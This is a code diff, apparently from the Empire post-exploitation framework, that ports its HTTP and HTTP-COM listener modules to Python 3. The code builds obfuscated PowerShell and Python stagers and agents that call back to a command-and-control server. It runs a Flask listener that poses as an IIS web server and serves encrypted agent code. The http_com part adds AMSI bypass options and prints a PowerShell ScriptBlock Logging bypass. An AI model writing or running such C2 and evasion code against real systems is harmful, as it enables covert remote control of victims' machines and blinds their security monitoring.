529535 launcher = listenerOptions['Launcher']['Value']
532538 killDate = listenerOptions['KillDate']['Value']
533539 host = listenerOptions['Host']['Value']
534540 customHeaders = profile.split('|')[2:]
535
541
536542 # select some random URIs for staging from the main profile
537543 stage1 = random.choice(uris)
538544 stage2 = random.choice(uris)
539
545
540546 if language.lower() == 'powershell':
541
547
542548 # read in the stager base
543549 f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath))
544550 stager = f.read()
545551 f.close()
546
552
547553 # make sure the server ends with "/"
548554 if not host.endswith("/"):
549555 host += "/"
550
551 #Patch in custom Headers
556
557 # Patch in custom Headers
558 remove = []
552559 if customHeaders != []:
553 headers = ','.join(customHeaders)
554 stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";")
555
556 #patch in working hours, if any
560 for key in customHeaders:
561 value = key.split(":")
562 if 'cookie' in value[0].lower() and value[1]:
563 continue
564 remove += value
565 headers = ','.join(remove)
566 # headers = ','.join(customHeaders)
567 stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";")
568 # patch in working hours, if any
557569 if workingHours != "":
558570 stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)
559
560 #Patch in the killdate, if any
571
572 # Patch in the killdate, if any
561573 if killDate != "":
562574 stager = stager.replace('REPLACE_KILLDATE', killDate)
563
575
564576 # patch the server and key information
565577 stager = stager.replace('REPLACE_SERVER', host)
566578 stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
567579 stager = stager.replace('index.jsp', stage1)
568580 stager = stager.replace('index.php', stage2)
569
581
582
570583 randomizedStager = ''
571
584 # forces inputs into a bytestring to ensure 2/3 compatibility
585 stagingKey = stagingKey.encode('UTF-8')
586 #stager = stager.encode('UTF-8')
587 #randomizedStager = randomizedStager.encode('UTF-8')
588
572589 for line in stager.split("\n"):
573590 line = line.strip()
574591 # skip commented line
578595 randomizedStager += helpers.randomize_capitalization(line)
579596 else:
580597 randomizedStager += line
581
598
582599 if obfuscate:
583 randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand)
600 randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager,
601 obfuscationCommand=obfuscationCommand)
584602 # base64 encode the stager and return it
603 # There doesn't seem to be any conditions in which the encrypt flag isn't set so the other
604 # if/else statements are irrelevant
585605 if encode:
586606 return helpers.enc_powershell(randomizedStager)
587607 elif encrypt:
588608 RC4IV = os.urandom(4)
589 return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
609 return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8'))
590610 else:
591611 # otherwise just return the case-randomized stager
592612 return randomizedStager
593
613
594614 elif language.lower() == 'python':
595615 template_path = [
596616 os.path.join(self.mainMenu.installPath, '/data/agent/stagers'),
597617 os.path.join(self.mainMenu.installPath, './data/agent/stagers')]
598618 eng = templating.TemplateEngine(template_path)
599619 template = eng.get_template('http.py')
600
620
601621 template_options = {
602 'working_hours': workingHours,
603 'kill_date': killDate,
604 'staging_key': stagingKey,
605 'profile': profile,
606 'stage_1': stage1,
607 'stage_2': stage2
608 }
609
622 'working_hours': workingHours,
623 'kill_date': killDate,
624 'staging_key': stagingKey,
625 'profile': profile,
626 'stage_1': stage1,
627 'stage_2': stage2
628 }
629
610630 stager = template.render(template_options)
611631 stager = obfuscation.py_minify(stager)
612
632
613633 # base64 encode the stager and return it
614634 if encode:
615635 return base64.b64encode(stager)
616636 if encrypt:
617637 # return an encrypted version of the stager ("normal" staging)
618638 RC4IV = os.urandom(4)
619 return RC4IV + encryption.rc4(RC4IV+stagingKey, stager)
639 return RC4IV + encryption.rc4(RC4IV + stagingKey, stager)
620640 else:
621641 # otherwise return the standard stager
622642 return stager
623
643
624644 else:
625 print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
626
627
645 print(helpers.color(
646 "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
647
628648 def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""):
629649 """
630650 Generate the full agent code needed for communications with this listener.
631651 """
632
652
633653 if not language:
634 print helpers.color('[!] listeners/http generate_agent(): no language specified!')
654 print(helpers.color('[!] listeners/http generate_agent(): no language specified!'))
635655 return None
636
656
637657 language = language.lower()
638658 delay = listenerOptions['DefaultDelay']['Value']
639659 jitter = listenerOptions['DefaultJitter']['Value']
641661 lostLimit = listenerOptions['DefaultLostLimit']['Value']
642662 killDate = listenerOptions['KillDate']['Value']
643663 workingHours = listenerOptions['WorkingHours']['Value']
644 b64DefaultResponse = base64.b64encode(self.default_response())
645
664 b64DefaultResponse = base64.b64encode(self.default_response().encode('UTF-8'))
665
646666 if language == 'powershell':
647
667
648668 f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
649669 code = f.read()
650670 f.close()
651
671
652672 # patch in the comms methods
653673 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
654674 code = code.replace('REPLACE_COMMS', commsCode)
655
675
656676 # strip out comments and blank lines
657677 code = helpers.strip_powershell_comments(code)
658
678
659679 # patch in the delay, jitter, lost limit, and comms profile
660680 code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
661681 code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
662 code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
682 code = code.replace(
683 '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
684 "$Profile = \"" + str(profile) + "\"")
663685 code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
664 code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
665
686 code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"')
687
666688 # patch in the killDate and workingHours if they're specified
667689 if killDate != "":
668690 code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
669691 if obfuscate:
670692 code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
671693 return code
672
694
673695 elif language == 'python':
674696 f = open(self.mainMenu.installPath + "./data/agent/agent.py")
675697 code = f.read()
676698 f.close()
677
699
678700 # patch in the comms methods
679701 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
680702 code = code.replace('REPLACE_COMMS', commsCode)
681
703
682704 # strip out comments and blank lines
683705 code = helpers.strip_python_comments(code)
684
706
685707 # patch in the delay, jitter, lost limit, and comms profile
686708 code = code.replace('delay = 60', 'delay = %s' % (delay))
687709 code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
688 code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile))
710 code = code.replace(
711 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
712 'profile = "%s"' % (profile))
689713 code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit))
690 code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse))
691
714 code = code.replace('defaultResponse = base64.b64decode("")',
715 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse))
716
692717 # patch in the killDate and workingHours if they're specified
693718 if killDate != "":
694719 code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate))
695720 if workingHours != "":
696721 code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate))
697
722
698723 return code
699724 else:
700 print helpers.color("[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
701
702
725 print(helpers.color(
726 "[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
727
703728 def generate_comms(self, listenerOptions, language=None):
704729 """
705730 Generate just the agent communication code block needed for communications with this listener.
706731
707732 This is so agents can easily be dynamically updated for the new listener.
708733 """
709
734
710735 if language:
711736 if language.lower() == 'powershell':
712
737
713738 updateServers = """
714739 $Script:ControlServers = @("%s");
715740 $Script:ServerIndex = 0;
716741 """ % (listenerOptions['Host']['Value'])
717
742
718743 if listenerOptions['Host']['Value'].startswith('https'):
719744 updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
720745
729754 $RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
730755
731756 # build the web request object
732 $wc = New-Object System.Net.WebClient
757 $""" + helpers.generate_random_script_var_name("wc") + """ = New-Object System.Net.WebClient
733758
734759 # set the proxy settings for the WC to be the default system settings
735 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
736 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
760 $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
761 $""" + helpers.generate_random_script_var_name("wc") + """.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
737762 if($Script:Proxy) {
738 $wc.Proxy = $Script:Proxy;
763 $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = $Script:Proxy;
739764 }
740765
741 $wc.Headers.Add("User-Agent",$script:UserAgent)
742 $script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)}
743 $wc.Headers.Add("Cookie", "session=$RoutingCookie")
766 $""" + helpers.generate_random_script_var_name("wc") + """.Headers.Add("User-Agent",$script:UserAgent)
767 $script:Headers.GetEnumerator() | % {$""" + helpers.generate_random_script_var_name(
768 "wc") + """.Headers.Add($_.Name, $_.Value)}
769 $""" + helpers.generate_random_script_var_name(
770 "wc") + """.Headers.Add("Cookie",\"""" + self.session_cookie + """session=$RoutingCookie")
744771
745772 # choose a random valid URI for checkin
746773 $taskURI = $script:TaskURIs | Get-Random
747 $result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
774 $result = $""" + helpers.generate_random_script_var_name("wc") + """.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
748775 $result
749776 }
750777 }
772799
773800 if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
774801 # build the web request object
775 $wc = New-Object System.Net.WebClient
802 $""" + helpers.generate_random_script_var_name("wc") + """ = New-Object System.Net.WebClient
776803 # set the proxy settings for the WC to be the default system settings
777 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
778 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
804 $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
805 $""" + helpers.generate_random_script_var_name("wc") + """.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
779806 if($Script:Proxy) {
780 $wc.Proxy = $Script:Proxy;
807 $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = $Script:Proxy;
781808 }
782809
783 $wc.Headers.Add('User-Agent', $Script:UserAgent)
784 $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
810 $""" + helpers.generate_random_script_var_name("wc") + """.Headers.Add('User-Agent', $Script:UserAgent)
811 $Script:Headers.GetEnumerator() | ForEach-Object {$""" + helpers.generate_random_script_var_name(
812 "wc") + """.Headers.Add($_.Name, $_.Value)}
785813
786814 try {
787815 # get a random posting URI
788816 $taskURI = $Script:TaskURIs | Get-Random
789 $response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
817 $response = $""" + helpers.generate_random_script_var_name("wc") + """.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
790818 }
791819 catch [System.Net.WebException]{
792820 # exception posting data...
801829 """
802830
803831 return updateServers + getTask + sendMessage
804
832
805833 elif language.lower() == 'python':
806
807 updateServers = "server = '%s'\n" % (listenerOptions['Host']['Value'])
808
834
835 updateServers = "server = '%s'\n" % (listenerOptions['Host']['Value'])
836
809837 if listenerOptions['Host']['Value'].startswith('https'):
810838 updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None"
811
839 print('listeners/http.py: line 851')
812840 sendMessage = """
813841 def send_message(packets=None):
814842 # Requests a tasking or posts data to a randomized tasking URI.
832860 # meta TASKING_REQUEST = 4
833861 routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)
834862 b64routingPacket = base64.b64encode(routingPacket)
835 headers['Cookie'] = "session=%s" % (b64routingPacket)
863 headers['Cookie'] = \"""" + self.session_cookie + """=%s" % (b64routingPacket)
836864
837865 taskURI = random.sample(taskURIs, 1)[0]
838866 requestUri = server + taskURI
856884 return (URLerror.reason, '')
857885
858886 return ('', '')
859 """
887 """
860888 return updateServers + sendMessage
861
889
862890 else:
863 print helpers.color("[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
891 print(helpers.color(
892 "[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
864893 else:
865 print helpers.color('[!] listeners/http generate_comms(): no language specified!')
866
867
894 print(helpers.color('[!] listeners/http generate_comms(): no language specified!'))
895
868896 def start_server(self, listenerOptions):
869897 """
870898 Threaded function that actually starts up the Flask server.
871899 """
872
900
873901 # make a copy of the currently set listener options for later stager/agent generation
874902 listenerOptions = copy.deepcopy(listenerOptions)
875
903
876904 # suppress the normal Flask output
877905 log = logging.getLogger('werkzeug')
878906 log.setLevel(logging.ERROR)
879
907
880908 bindIP = listenerOptions['BindIP']['Value']
881909 host = listenerOptions['Host']['Value']
882910 port = listenerOptions['Port']['Value']
886914 listenerName = self.options['Name']['Value']
887915 proxy = self.options['Proxy']['Value']
888916 proxyCreds = self.options['ProxyCreds']['Value']
889
917
890918 app = Flask(__name__)
891919 self.app = app
892
893
920
894921 @app.route('/download/<stager>')
895922 def send_stager(stager):
896923 if 'po' in stager:
897 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
924 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False,
925 userAgent=userAgent, proxy=proxy,
926 proxyCreds=proxyCreds)
898927 return launcher
899928 elif 'py' in stager:
900 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
929 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', encode=False,
930 userAgent=userAgent, proxy=proxy,
931 proxyCreds=proxyCreds)
901932 return launcher
902933 else:
903934 return make_response(self.default_response(), 404)
904
935
905936 @app.before_request
906937 def check_ip():
907938 """
916947 })
917948 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
918949 return make_response(self.default_response(), 404)
919
920
950
921951 @app.after_request
922952 def change_header(response):
923 "Modify the default server version in the response."
924 response.headers['Server'] = listenerOptions['ServerVersion']['Value']
953 "Modify the headers response server."
954 headers = listenerOptions['Headers']['Value']
955 for key in headers.split("|"):
956 value = key.split(":")
957 response.headers[value[0]] = value[1]
925958 return response
926
927
959
928960 @app.after_request
929961 def add_proxy_headers(response):
930962 "Add HTTP headers to avoid proxy caching."
932964 response.headers['Pragma'] = "no-cache"
933965 response.headers['Expires'] = "0"
934966 return response
935
967
936968 @app.route('/')
937969 @app.route('/index.html')
938970 def serve_index():
939971 """
940972 Return default server web page if user navigates to index.
941973 """
942
974
943975 static_dir = self.mainMenu.installPath + "data/misc/"
944976 return make_response(self.index_page(), 200)
945
977
946978 @app.route('/welcome.png')
947979 def serve_index_helper():
948980 """
949981 Serves image loaded by index page.
950982 """
951
983
952984 static_dir = self.mainMenu.installPath + "data/misc/"
953985 return send_from_directory(static_dir, 'welcome.png')
954
955
986
956987 @app.route('/<path:request_uri>', methods=['GET'])
957988 def handle_get(request_uri):
958989 """
962993 and when the agent requests taskings.
963994 """
964995 clientIP = request.remote_addr
965
996
966997 listenerName = self.options['Name']['Value']
967998 message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP)
968999 signal = json.dumps({
9701001 'message': message
9711002 })
9721003 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
973
1004
9741005 routingPacket = None
9751006 cookie = request.headers.get('Cookie')
1007
9761008 if cookie and cookie != '':
9771009 try:
9781010 # see if we can extract the 'routing packet' from the specified cookie location
9791011 # NOTE: this can be easily moved to a paramter, another cookie value, etc.
980 if 'session' in cookie:
1012 if self.session_cookie in cookie:
9811013 listenerName = self.options['Name']['Value']
9821014 message = "[*] GET cookie value from {} : {}".format(clientIP, cookie)
9831015 signal = json.dumps({
9871019 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
9881020 cookieParts = cookie.split(';')
9891021 for part in cookieParts:
990 if part.startswith('session'):
991 base64RoutingPacket = part[part.find('=')+1:]
1022 if part.startswith(self.session_cookie):
1023 base64RoutingPacket = part[part.find('=') + 1:]
9921024 # decode the routing packet base64 value in the cookie
9931025 routingPacket = base64.b64decode(base64RoutingPacket)
9941026 except Exception as e:
9951027 routingPacket = None
9961028 pass
997
1029
9981030 if routingPacket:
9991031 # parse the routing packet and process the results
1000 dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP)
1032
1033 dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions,
1034 clientIP)
10011035 if dataResults and len(dataResults) > 0:
10021036 for (language, results) in dataResults:
10031037 if results:
10041038 if results == 'STAGE0':
10051039 # handle_agent_data() signals that the listener should return the stager.ps1 code
1006
10071040 # step 2 of negotiation -> return stager.ps1 (stage 1)
10081041 listenerName = self.options['Name']['Value']
10091042 message = "[*] Sending {} stager (stage 1) to {}".format(language, clientIP)
10121045 'message': message
10131046 })
10141047 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
1015 stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
1048 stage = self.generate_stager(language=language, listenerOptions=listenerOptions,
1049 obfuscate=self.mainMenu.obfuscate,
1050 obfuscationCommand=self.mainMenu.obfuscateCommand)
10161051 return make_response(stage, 200)
1017
1018 elif results.startswith('ERROR:'):
1052
1053 elif results.startswith(b'ERROR:'):
10191054 listenerName = self.options['Name']['Value']
1020 message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results)
1055 message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(
1056 request_uri, clientIP, results)
10211057 signal = json.dumps({
10221058 'print': True,
10231059 'message': message
10241060 })
10251061 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
1026
1062
10271063 if 'not in cache' in results:
10281064 # signal the client to restage
1029 print helpers.color("[*] Orphaned agent from %s, signaling restaging" % (clientIP))
1065 print(helpers.color("[*] Orphaned agent from %s, signaling restaging" % (clientIP)))
10301066 return make_response(self.default_response(), 401)
10311067 else:
10321068 return make_response(self.default_response(), 200)
1033
1069
10341070 else:
10351071 # actual taskings
10361072 listenerName = self.options['Name']['Value']
10461082 return make_response(self.default_response(), 200)
10471083 else:
10481084 return make_response(self.default_response(), 200)
1049
1085
10501086 else:
10511087 listenerName = self.options['Name']['Value']
10521088 message = "[!] {} requested by {} with no routing packet.".format(request_uri, clientIP)
10561092 })
10571093 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
10581094 return make_response(self.default_response(), 200)
1059
1095
10601096 @app.route('/<path:request_uri>', methods=['POST'])
10611097 def handle_post(request_uri):
10621098 """
10631099 Handle an agent POST request.
10641100 """
1065
10661101 stagingKey = listenerOptions['StagingKey']['Value']
10671102 clientIP = request.remote_addr
1068
1103
10691104 requestData = request.get_data()
1070
1105
10711106 listenerName = self.options['Name']['Value']
10721107 message = "[*] POST request data length from {} : {}".format(clientIP, len(requestData))
10731108 signal = json.dumps({
10751110 'message': message
10761111 })
10771112 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
1078
1113
10791114 # the routing packet should be at the front of the binary request.data
10801115 # NOTE: this can also go into a cookie/etc.
10811116 dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP)
10821117 if dataResults and len(dataResults) > 0:
10831118 for (language, results) in dataResults:
1119 if isinstance(results, str):
1120 results = results.encode('UTF-8')
10841121 if results:
1085 if results.startswith('STAGE2'):
1122 if results.startswith(b'STAGE2'):
10861123 # TODO: document the exact results structure returned
10871124 if ':' in clientIP:
10881125 clientIP = '[' + str(clientIP) + ']'
1089 sessionID = results.split(' ')[1].strip()
1126 sessionID = results.split(b' ')[1].strip().decode('UTF-8')
10901127 sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
1091
1128
10921129 listenerName = self.options['Name']['Value']
10931130 message = "[*] Sending agent (stage 2) to {} at {}".format(sessionID, clientIP)
10941131 signal = json.dumps({
10961133 'message': message
10971134 })
10981135 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
1099
1136
11001137 hopListenerName = request.headers.get('Hop-Name')
11011138 try:
11021139 hopListener = helpers.get_listener_options(hopListenerName)
11041141 tempListenerOptions['Host']['Value'] = hopListener['Host']['Value']
11051142 except TypeError:
11061143 tempListenerOptions = listenerOptions
1107
1144
11081145 # step 6 of negotiation -> server sends patched agent.ps1/agent.py
1109 agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
1146 agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions,
1147 obfuscate=self.mainMenu.obfuscate,
1148 obfuscationCommand=self.mainMenu.obfuscateCommand)
11101149 encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
11111150 # TODO: wrap ^ in a routing packet?
1112
1151
11131152 return make_response(encryptedAgent, 200)
1114
1115 elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
1153
1154 elif results[:10].lower().startswith(b'error') or results[:10].lower().startswith(b'exception'):
11161155 listenerName = self.options['Name']['Value']
11171156 message = "[!] Error returned for results by {} : {}".format(clientIP, results)
11181157 signal = json.dumps({
11211160 })
11221161 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
11231162 return make_response(self.default_response(), 404)
1124 elif results == 'VALID':
1163 elif results.startswith(b'VALID'):
11251164 listenerName = self.options['Name']['Value']
11261165 message = "[*] Valid results returned by {}".format(clientIP)
11271166 signal = json.dumps({
1128 'print': True,
1167 'print': False,
11291168 'message': message
11301169 })
11311170 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
1132 return make_response(self.default_response(), 404)
1171 return make_response(self.default_response(), 200)
11331172 else:
11341173 return make_response(results, 200)
11351174 else:
11361175 return make_response(self.default_response(), 404)
11371176 else:
11381177 return make_response(self.default_response(), 404)
1139
1178
11401179 try:
11411180 certPath = listenerOptions['CertPath']['Value']
11421181 host = listenerOptions['Host']['Value']
11431182 if certPath.strip() != '' and host.startswith('https'):
11441183 certPath = os.path.abspath(certPath)
11451184 pyversion = sys.version_info
1146
1185
11471186 # support any version of tls
11481187 pyversion = sys.version_info
11491188 if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
11521191 proto = ssl.PROTOCOL_TLS
11531192 else:
11541193 proto = ssl.PROTOCOL_SSLv23
1155
1194
11561195 context = ssl.SSLContext(proto)
1157 context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
1196 context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
1197 cipherlist = ["ECDHE-RSA-AES256-GCM-SHA384", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-AES256-SHA384",
1198 "ECDHE-RSA-AES256-SHA", "AES256-SHA256", "AES128-SHA256"]
1199 selectciph = random.choice(cipherlist)
1200 context.set_ciphers(selectciph)
11581201 app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
11591202 else:
11601203 app.run(host=bindIP, port=int(port), threaded=True)
1161
1204
11621205 except Exception as e:
1163 print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
1206 print(helpers.color("[!] Listener startup on port %s failed: %s " % (port, e)))
11641207 listenerName = self.options['Name']['Value']
11651208 message = "[!] Listener startup on port {} failed: {}".format(port, e)
1166 message += "\n[!] Ensure the folder specified in CertPath exists and contains your pem and private key file."
11671209 signal = json.dumps({
11681210 'print': True,
11691211 'message': message
11701212 })
11711213 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
1172
1214
11731215 def start(self, name=''):
11741216 """
11751217 Start a threaded instance of self.start_server() and store it in the
11891231 time.sleep(1)
11901232 # returns True if the listener successfully started, false otherwise
11911233 return self.threads[name].is_alive()
1192
1193
1234
11941235 def shutdown(self, name=''):
11951236 """
11961237 Terminates the server thread stored in the self.threads dictionary,
11971238 keyed by the listener name.
11981239 """
1199
1240
12001241 if name and name != '':
1201 print helpers.color("[!] Killing listener '%s'" % (name))
1242 print(helpers.color("[!] Killing listener '%s'" % (name)))
12021243 self.threads[name].kill()
12031244 else:
1204 print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
1245 print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])))
12051246 self.threads[self.options['Name']['Value']].kill()
1247
1248 def generate_cookie(self):
1249 """
1250 Generate Cookie
1251 """
1252
1253 chars = string.ascii_letters
1254 cookie = helpers.random_string(random.randint(6, 16), charset=chars)
1255
1256 return cookie
+81
-67
lib/listeners/http_com.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import logging
14 import base64
25 import random
1518 from lib.common import encryption
1619 from lib.common import packets
1720 from lib.common import messages
18
19
20 class Listener:
21 from lib.common import templating
22 from lib.common import obfuscation
23 from lib.common import bypasses
24
25 class Listener(object):
2126
2227 def __init__(self, mainMenu, params=[]):
2328
4752 'Host' : {
4853 'Description' : 'Hostname/IP for staging.',
4954 'Required' : True,
50 'Value' : "http://%s:%s" % (helpers.lhost(), 80)
55 'Value' : "http://%s" % (helpers.lhost())
5156 },
5257 'BindIP' : {
5358 'Description' : 'The IP to bind to on the control server.',
5762 'Port' : {
5863 'Description' : 'Port for the listener.',
5964 'Required' : True,
60 'Value' : 80
65 'Value' : ''
6166 },
6267 'Launcher' : {
6368 'Description' : 'Launcher string.',
109114 'Required' : True,
110115 'Value' : 'CF-RAY'
111116 },
112 'ServerVersion' : {
113 'Description' : 'Server header for the control server.',
114 'Required' : True,
115 'Value' : 'Microsoft-IIS/7.5'
117 'Headers' : {
118 'Description' : 'Headers for the control server.',
119 'Required' : True,
120 'Value' : 'Server:Microsoft-IIS/7.5'
116121 },
117122 'SlackToken' : {
118123 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
227232
228233 for key in self.options:
229234 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
230 print helpers.color("[!] Option \"%s\" is required." % (key))
235 print(helpers.color("[!] Option \"%s\" is required." % (key)))
231236 return False
232
237 # If we've selected an HTTPS listener without specifying CertPath, let us know.
238 if self.options['Host']['Value'].startswith('https') and self.options['CertPath']['Value'] == '':
239 print(helpers.color("[!] HTTPS selected but no CertPath specified."))
240 return False
233241 return True
234242
235243
236 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
244 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
237245 """
238246 Generate a basic launcher for the specified listener.
239247 """
240248
241249 if not language:
242 print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!')
250 print(helpers.color('[!] listeners/http_com generate_launcher(): no language specified!'))
243251
244252 if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
245253
260268 stager = '$ErrorActionPreference = \"SilentlyContinue\";'
261269 if safeChecks.lower() == 'true':
262270 stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
263
264271 # ScriptBlock Logging bypass
265 stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
266 stager += "'System.Management.Automation.Utils'"
267 stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
268 stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
269 stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
270 stager += "['ScriptB'+'lockLogging']"
271 stager += helpers.randomize_capitalization("){$GPC")
272 stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
273 stager += helpers.randomize_capitalization("$GPC")
274 stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
275 stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
276 stager += "('EnableScriptB'+'lockLogging',0);"
277 stager += helpers.randomize_capitalization("$val.Add")
278 stager += "('EnableScriptBlockInvocationLogging',0);"
279 stager += helpers.randomize_capitalization("$GPC")
280 stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
281 stager += helpers.randomize_capitalization("=$val}")
